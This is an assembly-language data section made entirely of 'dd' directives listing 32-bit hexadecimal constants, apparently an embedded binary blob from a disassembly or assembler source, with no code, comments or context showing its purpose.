dd 0D1628F38h, 1426A85Ah, 467CFCEEh, 94130328h, 0D098B243h
dd 0BD3C0E91h, 779994A0h, 6E80D252h, 3810659Dh, 7D04A49Fh
dd 0A61B9305h, 58E4C30Bh, 1DA479E8h, 0C08565D0h, 0AC9DA744h
dd 0BA000345h, 84685B97h, 25A16320h, 14599A11h, 0C0A86D2Fh
dd 0D64DAD2Eh, 442C6D95h, 220560A0h, 6E2A04FEh, 818FB95Eh
dd 2FB8E4h, 2D0AC441h, 0F453BD2Ch, 9AF2178h, 2B51C513h
dd 594028FCh, 0EC6E61h, 8C1CED74h, 64F08648h, 0C7AC4008h
dd 0E0350091h, 97679441h, 64E8C79Fh, 8A4760F5h, 89CE00B3h
dd 64F47E27h, 80AB93C2h, 0AD8492D0h, 34F9C300h, 5B3D538Fh
dd 0C5A50C51h, 0DA49661Dh, 3C11E424h, 0D94E08h, 965B0D44h
dd 15043FEEh, 0D04B8631h, 6D25E8ACh, 3F0858E6h, 60AE8394h
dd 0C0B69737h, 0D1B48C4h, 487420BEh, 0C903801Ah, 0B293D943h
dd 0BBEBD80Ah, 31160442h, 0FA5E4A19h, 95108401h, 0DC20396Ah
dd 4714C09h, 0D01407Ah, 1C546495h, 800FC8EDh, 0FE4337B8h
dd 0FF25B972h, 70F4DB0Dh, 5E0CB715h, 0AC806096h, 41E70953h
dd 0B45C67EDh, 0D13851A5h, 164818CAh, 0A07B9BB8h, 40002A6Ch
dd 0C2D8392Fh, 0DFE133Fh, 0DA3C5410h, 0C46A2BE1h, 45009A23h
dd 3B726DE5h, 25EEE894h, 0E4640AA1h, 0E8A899D6h, 6B868880h
dd 0DD033F9Ch, 0AC3E28E0h, 11E9B0FBh, 6F890985h, 54740A63h
dd 102F24ACh, 5E39E06Ch, 0E09C53CCh, 21D66140h, 63808C9Bh
dd 0BD13E95Ch, 9C3FA9C1h, 442B98FFh, 4D18B40Ch, 4C386948h
dd 128C24BCh, 0AC77EC2Dh, 6582EB98h, 74D43842h, 7004DB25h
dd 22011829h, 98A43916h, 0E0720164h, 35573B84h, 0E2A824EDh
dd 70610509h, 6208143Ah, 0B299592Bh, 9DD41A55h, 0C63B10h
dd 0E804C1E4h, 2C771A74h, 6494B84Ah, 0C18F0008h, 4A5D0221h
dd 4EDCA34Fh, 2BF2E0E2h, 36704931h, 6F7B0067h, 0DB9689D7h
dd 78242263h, 0CD80883Ch, 0FBD4CB3h, 0B68629DAh, 18267134h
dd 89760232h, 6F182273h, 3802605Ah, 0FE95F2Bh, 0C4E8A9C9h
dd 802E0098h, 0E2C58A8Fh, 410001B2h, 73C7F4F2h, 9CDAB963h
dd 0ABB5DC14h, 9488EEBAh, 0F2465690h, 28276402h, 5EF117h
dd 6BAF2065h, 5697012Ch, 0D540B671h, 0B2016D4h, 0AD8F9A99h
dd 941D3089h, 9C80A291h, 0BF5FCB03h, 8B4FA60Eh, 23766037h
dd 2FF9A14h, 3C10D399h, 0E0D60B2Ch, 284676h, 0DF0851A6h
dd 1270A3E3h, 0B8E87594h, 1E0CC014h, 0B7167D91h, 0DC059019h
dd 47055D8Eh, 0FE8F97BBh, 0E0724A8h, 12402F07h, 4CC05B43h
dd 0E980CAAAh, 0C29BFABh, 0F3ADC059h, 397A70C4h, 61A66203h
dd 0F825A534h, 14E3EE41h, 0E4354C3Ah, 70485B83h, 26E56AA1h
dd 10400E18h, 0B0ACF2B0h, 185C3880h, 0F8BE3267h, 0BD721B00h
dd 130E3B68h, 0B2D72A5Fh, 9AB00BA0h, 26800013h, 7B23AF27h
dd 2C4B0E9h, 1E4CDD34h, 0CCDA8A5Ch, 4BFE3709h, 11583785h
dd 3C1C80F3h, 50B511CCh, 7D07D45Dh, 9220F6DAh, 0DB9132F4h
dd 9455D231h, 0B82A54CCh, 0C9166F9Eh, 6BC74EE0h, 440B0651h
dd 807B5676h, 0D5706D8Ch, 34839508h, 9005EE7h, 0EDF3268h
dd 4B0F0B1Eh, 0AC5C1395h, 71472520h, 0E3BB0074h, 733D29FDh
dd 3E867803h, 0A7BF4823h, 976CD960h, 9B1B5E3Bh, 0C2558034h
dd 1713275Ch, 45B216Dh, 205D0BCh, 4A129799h, 24E44550h
dd 5726D634h, 3800F888h, 1CFA18EEh, 0EC14984Dh, 8878BE15h
dd 0C625A8ABh, 0CBE709F4h, 7421B3D7h, 2A3BBC22h, 9B3BE8DDh
dd 0D3E98028h, 50C1A631h, 409CF03Ch, 368110FBh, 6B4BA822h
dd 8BFA0970h, 40DC5EE6h, 84BDF9C2h, 3469DB01h, 10B40A65h
dd 0D30B2862h, 0D47BB74Bh, 5611F78h, 7F118C83h, 7734F46Dh
dd 2092FF00h, 0D7A7C235h, 6A110024h, 0C8EAFE62h, 929523DFh
dd 0D5BE40B8h, 9484165Ch, 0CEB40415h, 3C4C01CDh, 59060AC8h
dd 389BB65Fh, 86FCA080h, 0EB005B08h, 0FE1283EFh, 44F8A99h
dd 6C0EE6EDh, 0F7FCE044h, 5B777020h, 0C070DA45h, 0EC8435BDh
dd 0CF5C4899h
dd 0F28F1006h, 6D58D0C7h, 0F3CB81ACh, 0DB709D87h, 3DE27Eh
dd 0F0187104h, 46EA8B0Fh, 68C351Dh, 1A0370C2h, 2F30D0ACh
dd 14B7D041h, 61F28800h, 50A4280h, 6738B4A6h, 0CBCF1E6h
dd 840025DCh, 74F3CC3Eh, 28FF9E40h, 4BF1D13h, 0EB95EDA4h
dd 0C184BC6Dh, 8843A3B7h, 7110D02Ah, 0D52738ABh, 7038D346h
dd 990E3E0Ch, 0C1B2C006h, 0E2F83BF0h, 0BED8C980h, 427015BCh
dd 444F6877h, 0C7F01CA6h, 0C8266C6Eh, 9705FF2Eh, 8412C972h
dd 2CEAC40Ah, 4CA4674h, 0A7AC4192h, 944044A8h, 0E176244Eh
dd 0A29612B4h, 3A5D05A4h, 0C4A2DFCFh, 8730A0F2h, 0EAB73CCFh
dd 76E25309h, 9F03A8F4h, 0BF6DCDh, 0ACC67C91h, 66536773h
dd 0CC405909h, 0B78F82Fh, 60071539h, 6AB19C02h, 11141DD7h
dd 908B829Ah, 80987E9Eh, 9B598A6Ch, 3805F2C5h, 0D84B5CDEh
dd 568382AEh, 0AE04645Eh, 21FF943Bh, 0FD1F44ACh, 0A4E860FBh
dd 5B91A325h, 711ED0E0h, 1CC5662Ch, 5B97E08h, 0A8207390h
dd 679B03B0h, 0E5154DCCh, 1E346EEFh, 0E00004CFh, 92963CE9h
dd 0D5162F97h, 0ED937827h, 0C86E2E91h, 0C6DB7800h, 0D3996088h
dd 5A4D7632h, 58729Eh, 86BD6BC4h, 58071D89h, 0F133903h
dd 99C33143h, 6FD8D71Fh, 87AC991Eh, 25D6ED4h, 0C08406C0h
dd 0F25CA2DCh, 40F9309Eh, 0C6122A05h, 10C146A5h, 0B43C0783h
dd 29430D80h, 55007D03h, 1E41A3BBh, 223EBC1h, 78DC5E26h
dd 0E8D8E4FDh, 0DE6A9038h, 70E064F6h, 2D03EA23h, 94DF623Dh
dd 7A459250h, 0D0F75B2Ch, 8172A140h, 348A2E00h, 70555D08h
dd 27F490A9h, 1C4ED14Eh, 5C5B7400h, 78C3E559h, 6D70C9C4h
dd 1300CC5Ah, 1E26C790h, 3AB0E016h, 386B0C73h, 0DC0CD4h
dd 97877690h, 9C4BABC1h, 6B1C5E82h, 497F4404h, 998D02Ah
dd 29F022DDh, 0C052AC5Eh, 80F48498h, 0EC95D898h, 42E5168Ch
dd 0E760F0ACh, 877BAB10h, 9FDC8D4Bh, 13A0EB70h, 2F218444h
dd 1CE237Ch, 0FD8C79F1h, 0EC887A67h, 0B504005Ch, 0B0917454h
dd 2A0F9819h, 4FD8BCF7h, 0A95D601Ah, 266215D5h, 1190E4D6h
dd 3A630DE0h, 43EF8F0h, 0F4AE3B94h, 84AA60C8h, 0A5EF1840h
dd 0AAE2C380h, 64E461D8h, 0AEBE8852h, 3DEA2890h, 0C06D4A8Ch
dd 970705B9h, 0FA312D09h, 60420C32h, 0B9AE0AEh, 0C01A6380h
dd 0F637BCE0h, 36FEEBF0h, 82646BB5h, 0C35E2786h, 6812A2C4h
dd 2821DC44h, 5ECEF26Ch, 0C96E44E8h, 6003D5CCh, 23C5693h
dd 66E85850h, 2DF164D8h, 18FBF777h, 2A5F9702h, 6C540BE3h
dd 0D8229900h, 48B0DC4Ch, 0B4C2F87Eh, 1DC0174Ah, 90001CADh
dd 9A78FAB9h, 0C0C76DABh, 47AFC581h, 8171D5C8h, 421C4470h
dd 0DFC4588Ah, 883B191h, 350BA4A3h, 0E24F0CFCh, 0FCA18F93h
dd 0B1B89820h, 0E960F816h, 0FE301781h, 0DBA40098h, 0E4A60849h
dd 0C20092D9h, 93753A56h, 9D7053EDh, 0BD8E1400h, 9B16C04Dh
dd 8CACAD0Fh, 9EFD0296h, 0A4576CD0h, 0E949E6C4h, 9FF08872h
dd 6907254h, 8012660Dh, 9823902Ah, 1441A900h, 0FF60E311h
dd 7C000F7Fh, 0EF445FB7h, 4CCB162h, 0F7BE9867h, 64F340E3h
dd 0FE31F6h, 0BCC89992h, 0DBF039E4h, 0D23A9438h, 216F27C8h
dd 0D85C0890h, 0C125478h, 0B354A4C4h, 827E2F01h, 4728793Fh
dd 6890F5EAh, 0CE209711h, 686E50E7h, 0BEC41343h, 668816Ah
dd 0EBADC892h, 0F467750Bh, 443C67EFh, 38D96027h, 0FF821C16h
dd 0A4224B63h, 3AD5A4C2h, 5304F388h, 7C236A90h, 9B01FB77h
dd 1032C272h, 90349C54h, 884555C7h, 2AB87479h, 0FBBC600Eh
dd 0C4E0AAD7h, 3781D600h, 27B072D2h, 2CFB7976h, 7D6E3B58h
dd 52367F7Ch, 9413D865h, 6ECCE442h, 179862B5h, 82241130h
dd 55A1BD2Fh, 140AB804h, 59332D74h, 6051E98Ch, 0AD18D079h
dd 3BC94702h, 60D6F3CEh, 803A9020h, 5C000D40h, 0A2EAA760h
dd 0BC96C3B3h, 2B467C5Ch, 24CCF200h, 0E85DB179h, 8D4F8817h
dd 0DA4A50A7h, 4495819Ch, 433EC232h, 0D352DB08h, 2DA82AD3h
dd 49001C04h, 1F67D136h, 2DE9280Bh, 0D4C27555h, 9462185Eh
dd 0F894663Ch, 0D519C08Ah, 9D65D141h, 8CFB937h, 0BA607489h
dd 0C10E1065h, 1BC3608h, 0BD54BB6h, 0EAE29103h, 419F24D0h
dd 0B101BA0h, 64EF081Ah, 0A005060Ch, 92634E2Eh, 23403FBBh
dd 6521009Ch, 6264A8E0h, 63EC9897h, 3FC02D12h, 6AF7985Ah
dd 800E58CCh, 47971390h, 60D06494h, 9AA5248h, 0AD050F0Dh
dd 0B790F479h, 97B54A22h, 809B91A0h, 0F81D4C93h, 6C20BDE8h
dd 8618E537h, 13B1B3Fh, 898C2B6Fh, 0DC3EEF70h, 605E3CA8h
dd 9677E444h, 0E5131CB8h, 0B030E620h, 4EAD67DDh, 6A70A18Eh
dd 2FEE8C84h, 2A2358h, 9E7D2357h, 0FA0705A2h, 6F17FF51h
dd 9548585Bh, 37FDDCC2h, 100A0420h, 4082AEC4h, 4EE400ABh
dd 3D5D92C6h, 8CC84A38h, 2CA60091h, 2E798B97h, 88077ACDh
dd 0DF044915h, 0A59859D9h, 0E0DC4C54h, 78CE2D7Dh, 17AFB859h
dd 80289134h, 0EAA6B944h, 0A3F33D83h, 21C438Ch, 0C25C9E50h
dd 0D42C8090h, 1A103E8h, 0E0B99A8Ch, 0D0957506h, 0B0A9F7Dh
dd 6831840Ah, 46742826h, 0B33EEEh, 0E0FDDE78h, 0CA1CF6h
dd 0D31EC7FAh, 999E8329h, 0E8C02AEBh, 4ED73915h, 0E7C4B626h
dd 97396BA0h, 0D10812ABh, 0D374AD55h, 93A8F0B9h, 963D83Eh
dd 76E45697h, 95D68EC8h, 92E0BC32h, 6CC09CDBh, 75511383h
dd 545B3Eh, 66745A2Bh, 95871AF8h, 0F4647467h, 0BC336460h
dd 1471540Fh, 0C190416Bh, 0DC6AD787h, 44388E8h, 0C810CA92h
dd 52E6C7A0h, 91D05B8Dh, 0DC913712h, 3E7AB8F1h, 0F723B4h
dd 0FD54EE6Bh, 75027CE2h, 7E93DA8Ah, 40A45E42h, 372C3A63h
dd 0DBC068B5h, 1E442F22h, 989BAC68h, 467614BCh, 0B75500F0h
dd 0BFCC41F2h, 1038A088h, 0DE55881Bh, 0C13CED9Fh, 0D936B177h
dd 0E0C23B4Ah, 0BBA404FDh, 0E95F5002h, 5950520Eh, 800C04Ch
dd 1461BD90h, 0E02502D0h, 2DBC79B5h, 77C0244Dh, 9D9F4742h
dd 0DE0DC468h, 2FCA44Ch, 6106D5D8h, 3A0593Ah, 0FB90D920h
dd 0BC521B98h, 9410B097h, 0FCC49FE7h, 0C5AA9300h, 2BBB8309h
dd 0AC1E0104h, 0CF3ACA14h, 0E482D09Ch, 65671018h, 1ED99599h
dd 0D6476302h, 8324E8B7h, 805177B9h, 34CFA8Ch, 0C86FC522h
dd 2100ECF6h, 0CBF93130h, 0FE655Fh, 950C0AB7h, 4A3D1238h
dd 63EDEA01h, 0E4397017h, 1C05BC32h, 8EDDB49Ah, 0C0D28868h
dd 9F6B34BFh, 3DCF7717h, 0A414002h, 0CB1C7468h, 76870835h
dd 0B2C1D1FCh, 403D8365h, 900CE913h, 5BAC4104h, 8CE2965Ah
dd 80989AD6h, 13A43FC7h, 7E98097h, 0ABBF34A0h, 3B196360h
dd 47F7A06h, 0D6219C98h, 0FC25BF5Fh, 73866842h, 0B5E0F00Ch
dd 6158065h, 746E4AD4h, 0D7CDB501h, 0E067C83Ah, 0B3189A9Ch
dd 6DA9D46Eh, 0B8E79598h, 9A795A5Ch, 0A2CE94h, 0A19DE68Bh
dd 2F94BEF1h, 24F15079h, 0B90A5C18h, 0A0C46EEEh, 638ABB80h
dd 0DEC40h, 0E5A1234Ah, 74CF229Ch, 49705B09h, 8F4882E4h
dd 0F8307592h, 0E9B293h, 92A2899h, 740818C3h, 90B8145Ah
dd 7C127D25h, 0CB467694h, 9903AA02h, 3AD57DD2h, 0FCB55708h
dd 0A8C4CC02h, 571D6273h, 0C0B6F816h, 0A14656h, 0C69A6849h
dd 272A79A3h, 404643F9h, 5E9601Dh, 0E671D130h, 23BA1239h
dd 0D2F8BD6Eh, 0DA830B9h, 0A8D7D03h, 0CC563707h, 1F04C2h
dd 993BCBDFh, 9F1469B5h, 4C867630h, 1B07E806h, 89AFA3C0h
dd 0D0A3B45Bh, 5B863678h
dd 0B04F61Eh, 5C8808ACh, 3E94C2CCh, 2CA834D4h, 892B640Eh
dd 6FBA2440h, 820C34BAh, 0C45ED5CCh, 609C6DE9h, 390AC1E8h
dd 1AA45200h, 2265D8C4h, 3F1840E0h, 13204497h, 80381ADBh
dd 0ABA441A8h, 0ECCC3CF7h, 87B8CF2h, 8BE4D23Bh, 0FCB44265h
dd 0DED180A8h, 378C6A40h, 0D0F1874Ah, 8398DB7Bh, 0F037EBC5h
dd 164393E2h, 0EC40CD94h, 704427ACh, 0BC5A5458h, 0C73D220Eh
dd 4A45063Ah, 0E8B9E0BDh, 6F1298ADh, 8F7BAAAh, 3A7CE840h
dd 5C02D9EEh, 0D1C2369Eh, 74A8BA7Fh, 0F00D428h, 0D4ACE7DCh
dd 154CC991h, 8492691Eh, 0A1BE6D18h, 0DF00F94Dh, 466A3C2Bh
dd 95A506E0h, 0A6C384EDh, 99FBF0AEh, 0A8F924ADh, 0BD1108E0h
dd 9F9294A6h, 9A6A9C39h, 5C9B8020h, 1F7995Fh, 86E9C44Ah
dd 22FE9C53h, 0C7EA119Ch, 8F38885Bh, 0E7C2B104h, 48E8025Eh
dd 1661CCA7h, 0E690C402h, 525D1E06h, 4010BF38h, 0FF002ABCh
dd 9615F2F9h, 241920h, 0C9B694FEh, 986BAD0Ch, 3FA90E0Bh
dd 0A068D4C4h, 0B2091CECh, 0BC46678Dh, 4C84D30Bh, 74386070h
dd 35DE2D99h, 7BBB2079h, 8DD5821h, 7925C166h, 27D20314h
dd 0BD88CC51h, 0AF011841h, 7560AACEh, 282F8179h, 3F8821CCh
dd 0B72334ACh, 0D0A8B8A0h, 8CCAE8C8h, 0F2A07927h, 60630EB8h
dd 0BE4038DEh, 56C86C48h, 0CDD08997h, 0C8D6CB2Ch, 0E46427h
dd 3DD05AE4h, 5185802h, 0E977D47Ah, 0AA15C0Bh, 2A384270h
dd 4676D8DCh, 78480ECCh, 840AA25Ch, 88DCD635h, 0C3098817h
dd 25F05E4Ch, 5970FCFBh, 0B85676C6h, 69550B46h, 7474DF8Ah
dd 0F2426363h, 0D041023Ch, 47408474h, 25B1C5E8h, 0E8790543h
dd 5060D349h, 68027F3Dh, 11D2E946h, 6482FFC1h, 63550FAAh
dd 0D747FA38h, 3C003CB7h, 28C98866h, 0F5CD0290h, 0EFE99808h
dd 422040F8h, 6711C2D6h, 790BDA36h, 60013EFCh, 9C3F9F1Dh
dd 162EC45Fh, 0E0004DB7h, 824D1A07h, 0D0D6679h, 7132979Ah
dd 0FA584A41h, 187DBC28h, 811D9F8Ah, 0F207AB38h, 0CA221C29h
dd 0A9F84DA0h, 3EC01754h, 3F0CAD15h, 8031E09Eh, 0B1FAEEh
dd 0BE3CBC0Dh, 2C3D847Fh, 1B5D648h, 12A1B54Eh, 689F16h
dd 28CF3BCh, 7E10928Fh, 8489F6A7h, 19751803h, 0DE8CFAEFh
dd 0C548BDE0h, 757C7812h, 0C34E7016h, 0CDA0A4E7h, 0CC2541A8h
dd 6788402Bh, 0A5FE2E12h, 545C2590h, 987000DCh, 0BF567929h
dd 4216FD8Ch, 0A0BC34D4h, 0C8D8CAD2h, 0E559C2EFh, 5D0480D7h
dd 0BC2D4842h, 235F8E18h, 8C9FF890h, 9EADC900h, 97769564h
dd 0B6DC4A79h, 0D10CE004h, 53BA00F9h, 0BF39C92h, 2C691822h
dd 0C45CA8h, 0D19A08D5h, 1D31E794h, 0DFDAE163h, 0E6A5E0CFh
dd 56F0546h, 0C82AD012h, 0A040CBCCh, 208B973Bh, 49618C4Fh
dd 90F701A3h, 6AB84h, 8F826286h, 9350F80Ah, 67E45995h
dd 0DD0E28BEh, 773E0942h, 781CDC3Dh, 92ADC180h, 5F1424DEh
dd 710E0F7h, 0EEF86111h, 0BAB56A01h, 805B4583h, 0FE4DBCEh
dd 205A2C8h, 39F2F04h, 605EA56Ch, 14377D69h, 0A4409F3Dh
dd 500CF8A5h, 0E1C6D06Ah, 80957400h, 3268F61Fh, 3A620D01h
dd 7A3B15E6h, 7798125Ch, 3C3460AEh, 653E74D6h, 28B84A5Fh
dd 0C4AFBDDFh, 600D5801h, 64C16B9Ah, 9B2E217Ah, 0CEE2C178h
dd 90716992h, 6D945C00h, 0F0509808h, 0A89F27C4h, 7D40846Fh
dd 0F18AF5A9h, 0D3808C2Eh, 2FC4618Ah, 0C08AB453h, 95A7CBD9h
dd 9744685Ah, 0C9B43D2Bh, 0CF570580h, 0D9379376h, 4C257500h
dd 3C8D633Ah, 384A04F5h, 804BF356h, 0DC84D060h, 3B04EC7Bh
dd 0DAF23994h, 91EA0A07h, 6F97987Fh, 523FA092h, 4171016Ch
dd 9A2A63A8h, 6C802E9Bh, 21D8365h, 1138BD06h, 6CC6A23Ah
dd 91E06A00h, 99755BFCh, 9A1B2494h, 0F57E00A0h, 38134AEFh
dd 0D4EE8F1Ah, 62ECDEF9h, 0A22A8B7h, 10EC44D4h, 4BA34BACh
dd 10AD4C90h, 0C121609Fh, 6FE664FAh, 23030F7Ah, 525E3597h
dd 0F9AB80C4h, 0F0FA05EFh, 0AF1843AEh, 4869880Ch, 77990DB7h
dd 2B88E6C6h, 228F80D2h, 0C8A00B6Eh, 6F6FD75h, 1848E05Ch
dd 3830DC52h, 78449768h, 897F1845h, 52E7DC98h, 0ED919900h
dd 3A5E0B09h, 0AAA720B4h, 4294D813h, 254C788Ch, 0A451CB2Bh
dd 0B1398700h, 3DF2122Fh, 0AC4B7366h, 67178164h, 282FCE32h
dd 755E2250h, 0F1B2F0E3h, 11CC730h, 96CE41D6h, 0EC4D5B2Fh
dd 265B280Ah, 0FC7CF088h, 0F3822510h, 54C50E6h, 0C3520E0h
dd 8923A3DFh, 56279318h, 0D910D9BEh, 0E1918A1h, 8A95B181h
dd 86C83B62h, 5700EC59h, 0EB194409h, 0E20F4F78h, 43BC00B0h
dd 7F90CF36h, 99C7463h, 165AD94Ah, 80A48074h, 7D2465Eh
dd 0CF1C0550h, 7F546240h, 0B87995FAh, 38D15C01h, 10C4212Bh
dd 0F4D427ABh, 0D6EEE844h, 0BC782960h, 1F153471h, 39907C2h
dd 0C5B7BBA1h, 0E0949B6h, 0D5B2E039h, 1244CC10h, 63A74100h
dd 6A678314h, 0D54B0078h, 7A03B29Ch, 542710A8h, 69847824h
dd 0E87148C6h, 0A318F6D9h, 506A5300h, 3574E247h, 202C4ECEh
dd 0DBB8D60Ch, 5402C173h, 0EAAC223Bh, 0F2746007h, 9E9765A0h
dd 683ABA05h, 0E600D323h, 96DE9B4Ah, 0F561662h, 1070BC68h
dd 0F65ADCD6h, 0C6AD770h, 4F364400h, 0CB9FAE5h, 0C8015498h
dd 0CCD5CE85h, 9A2E1A5Fh, 0C39C88ECh, 9AAA692Fh, 0FC9812D7h
dd 0A5AAD8A8h, 88076630h, 3A6A1E42h, 20DA7D39h, 9F063A34h
dd 15289B01h, 0AA8F99F2h, 0E6049438h, 0E0BB9C41h, 424AE3C4h
dd 207E64B5h, 7807EEE8h, 916C3A00h, 0D229FF18h, 7EE41E7Ch
dd 789E583Ch, 6D5BD0F5h, 0ADB494A2h, 1EEB858h, 109C705Bh
dd 68DEF474h, 8C29ECDCh, 46D97F0Fh, 5219A074h, 2DCC39FFh
dd 78D1A23Fh, 74317F18h, 1A9B1F99h, 0FC472DC7h, 3762F4C4h
dd 0F850A7C1h, 0E0097DB3h, 689F83C3h, 0A25BD300h, 6C377DB8h
dd 0E5C19C01h, 17FD7F8Ch, 3A6AB500h, 80F9433Ch, 0CE1C9086h
dd 58188071h, 6C0BB20Eh, 0B074E6B8h, 0E2A4C3EBh, 12E30189h
dd 0C8122EA0h, 0C14EDCE3h, 5DE2394h, 0E79410A8h, 62FC030Eh
dd 3BF88620h, 377FBA63h, 5750B801h, 0C81B3C72h, 8D90E22Ah
dd 0C023F13Dh, 0B680A13Fh, 0B72AD52Ch, 1674FD80h, 794ED473h
dd 68ACF4BDh, 3C8E700h, 0BEC4F25Fh, 66750080h, 0DEF0375Eh
dd 0CC1741E5h, 90488A73h, 395A8198h, 0F8899282h, 50004236h
dd 0CDD4D5B3h, 98A29AEh, 3BE35955h, 9491CC74h, 4B757474h
dd 88D0DA66h, 9AB1C3D3h, 9B94F09Fh, 58B805EEh, 0AB631E2Dh
dd 471D4h, 0C20DB36Eh, 9CE2E5F0h, 894C52Ch, 0ABF07369h
dd 38DF5898h, 0DD036471h, 0C8AAA37h, 0B857A0CEh, 0D5390952h
dd 5CF4386Dh, 0B07B9447h, 77C544Ch, 0BCEDD3F3h, 722A0E8h
dd 0C6E68D61h, 91C23F18h, 7A90AD1h, 8017D3E7h, 0B357F0E8h
dd 469F5DAEh, 346A3094h, 7EFE1386h, 3C50E004h, 30F43694h
dd 0F9E163F6h, 0A3E97C82h, 9823ECF2h, 5E68F25h, 3CC1E418h
dd 910199DFh, 0B0342FB4h, 0F8098CACh, 0E47C86CDh, 0E4191DF4h
dd 7EE000E5h, 0ABAC407Fh, 0CD6BA441h, 353C478Ch, 6870BA94h
dd 62EBCBDFh, 7C4231A2h, 35973CD8h, 80F39174h, 4FA4C3F4h
dd 888A05E1h, 0FB048053h, 0C9122044h, 0A84B8601h, 97189EEDh
dd 7078F32Dh, 60017463h, 38476C37h, 8C6FC645h, 0A716C940h
dd 48E85E52h, 0C8A0CAD3h, 80CFC42Ah, 88077A6h, 3EDBCC01h
dd 3FE42A5Fh, 0C83C8E6Eh, 94F3C099h, 69CB1A41h, 8F3868F7h
dd 25957704h, 88E2EC13h
dd 467CC85Eh, 0AEA402EFh, 0C8F87390h, 4B7664h, 5B6C64A3h
dd 0F79CDAB9h, 79143612h, 2A23D82Fh, 9AE6FA07h, 5B69BEC0h
dd 1E661412h, 0B8968460h, 0A68104Ch, 0B8D0E996h, 7A77B0h
dd 2303B192h, 3875C9D8h, 0B7F1F500h, 784911Dh, 21644E1Eh
dd 2B32BBB4h, 0EDE220A6h, 2DCC80F5h, 25A72EE1h, 78F60D5Fh
dd 0AA87EF40h, 43250EFAh, 3260D221h, 96F2EC4Ch, 0B67A8C12h
dd 1A63F830h, 0A8E09F84h, 56097B75h, 45702A5Ch, 80F1EE78h
dd 0B78BF60Dh, 9E672797h, 655560E2h, 74BCA4D8h, 79252246h
dd 2640787Eh, 21D750h, 5790B7A7h, 0E76DA132h, 66AB9E04h
dd 8CB83604h, 6446EFA4h, 959309Fh, 0E16E8F0Fh, 0D2EC1D57h
dd 0F511CC1Dh, 96F3A80h, 2601F421h, 8F1061A1h, 0F72BD5A6h
dd 0E9167808h, 0B0A5300Ah, 8CACEC29h, 80C65C39h, 4392B89Fh
dd 8914A013h, 0CC61CEA3h, 28247ED5h, 509D5CBDh, 0C950289h
dd 55381DBCh, 4D5584BAh, 837340A4h, 4E00B1CFh, 7431C19Ah
dd 9A165F98h, 957098F0h, 6DA51C73h, 10FA4010h, 0F14AA874h
dd 0BB8020EDh, 0FCD86441h, 31158902h, 554283A4h, 3A071CE4h
dd 65DE6D94h, 0A8F88454h, 0F05C1725h, 0E4F46569h, 6F49609Ch
dd 0C26728C4h, 91850054h, 3040F75Dh, 5500C841h, 2BFBD6C7h
dd 166FDE70h, 42BC35h, 0B79E28CFh, 80BF1193h, 2A6AAF98h
dd 87710EEBh, 32A10E68h, 2BA3645Ah, 73B63C30h, 0DC064B94h
dd 54160E44h, 0AC52F858h, 0CA9228BDh, 0C09EC804h, 0C26B7F74h
dd 3731DD04h, 5CBD13E2h, 0C84CCAD6h, 949AC025h, 3F16A490h
dd 44B1E3CCh, 7820CD2Bh, 0E31180D8h, 0FB52F6Bh, 9D92ECACh
dd 74DF4220h, 2B1E8015h, 3FC5D0C9h, 0D4EC579Ch, 2CD23527h
dd 0D070DB97h, 90B7EB0Dh, 58FC161Ch, 0F9072731h, 0E034E451h
dd 1775F35Dh, 830C7802h, 565B1E91h, 6B868268h, 0D4D2FA50h
dd 37BB472Fh, 0AD5C00E0h, 0FED82F9Ah, 0A2053209h, 888257C0h
dd 0A0D27711h, 7C78E6B5h, 0BFCA2599h, 6D978CEEh, 0C91DC180h
dd 0AC42C46Ah, 28AD574Ah, 0C814CA92h, 0E52AC0D2h, 8F0F9409h
dd 0A64A45B3h, 171169Fh, 0F531EC91h, 2AACB1F4h, 0A101F025h
dd 0DF655AB2h, 4C288C4h, 83E3053Bh, 8854D97Dh, 2CDFCEF8h
dd 0E8ED1630h, 20F6D67Ch, 0F1B270E1h, 0C8802E2Bh, 211D7D4h
dd 79103AA5h, 1044621Eh, 7F34909Dh, 0DCF856h, 950F7131h
dd 0EC69391Dh, 2A1470E4h, 97B04094h, 5780C4ACh, 2706E0CBh
dd 3A048601h, 789903C2h, 25D384DCh, 707EE5FAh, 8578D414h
dd 32AB6F97h, 8B557450h, 0DCB85640h, 5F1297F8h, 50B8E27Ah
dd 0A290BC96h, 745C2BC9h, 9DA81EDCh, 0A63040D1h, 6E2A3C9Ah
dd 2954E895h, 0A2D43A4Ch, 60993887h, 0DD39D126h, 0FF49F4E3h
dd 0F8592E25h, 4A977100h, 0A390ECFAh, 25BAF407h, 632031B4h
dd 660E02Ch, 0EFAB4A01h, 0C9B66ACh, 603EE3CDh, 5E4440B8h
dd 20B1DC4Ah, 572F70EDh, 0B820ADE4h, 6EBF174Eh, 165B09F4h
dd 1B45305Eh, 0A071CAC3h, 9044F761h, 0F41220Ch, 453B6D27h
dd 5A0C1108h, 0B64BA0F3h, 6ED7E008h, 9BD6048Ah, 0BAB74BB2h
dd 0DC0A8DBh, 5080AC4Ah, 0B81F9F75h, 6C841693h, 0D509FD68h
dd 0B89457h, 1BE9606h, 9974EAB5h, 0F7CD8606h, 17207764h
dd 0FC184266h, 5CE35F50h, 10220D04h, 4C34BA34h, 46A850BDh
dd 5C7E9B27h, 407C6B70h, 0C4B34ADCh, 0CC20FE1Ch, 0ABEF4Eh
dd 9FCB14D1h, 3C560C89h, 44165B1Fh, 0F017E817h, 7A157092h
dd 6A5F2724h, 0DCE45Eh, 63D45DB0h, 4098B578h, 0F91A772Fh
dd 0DE342640h, 0B41A9300h, 0FEA53DCh, 9C1E9AEh, 0B62F2835h
dd 2AD8F090h, 33791727h, 896000E3h, 439C404Ah, 0DB0408BCh
dd 0E8FC1812h, 0CA94097Ah, 4C54BE0Dh, 0BD388601h, 0D8707708h
dd 59AB0205h, 2D442265h, 88AF9F24h, 132E3B64h, 70E01ACh
dd 2115E56Fh, 83AC4CB9h, 7D515900h, 5BB14134h, 2CD47C50h
dd 2920A8BEh, 18F0D194h, 0F882614Fh, 0AB17C4h, 1A947C5Bh
dd 58E88A2Bh, 0F079A471h, 0E03C5D18h, 68A24B23h, 0E85E6503h
dd 0BCCC4B93h, 0E0EDB4ECh, 0AD05FAA8h, 2156D9AFh, 1EACBCB9h
dd 80449Dh, 0F401D398h, 0AEE32CEBh, 228CAF48h, 80F8B1D0h
dd 0DE4FDF54h, 0D800954Dh, 0A679398Dh, 1252409h, 0BA693A3Fh
dd 3A6A1647h, 0F9DA0C29h, 189AF178h, 20E509BBh, 0E05C3A11h
dd 5776E642h, 2441658Fh, 69F80399h, 0C04900F0h, 0F02EDE28h
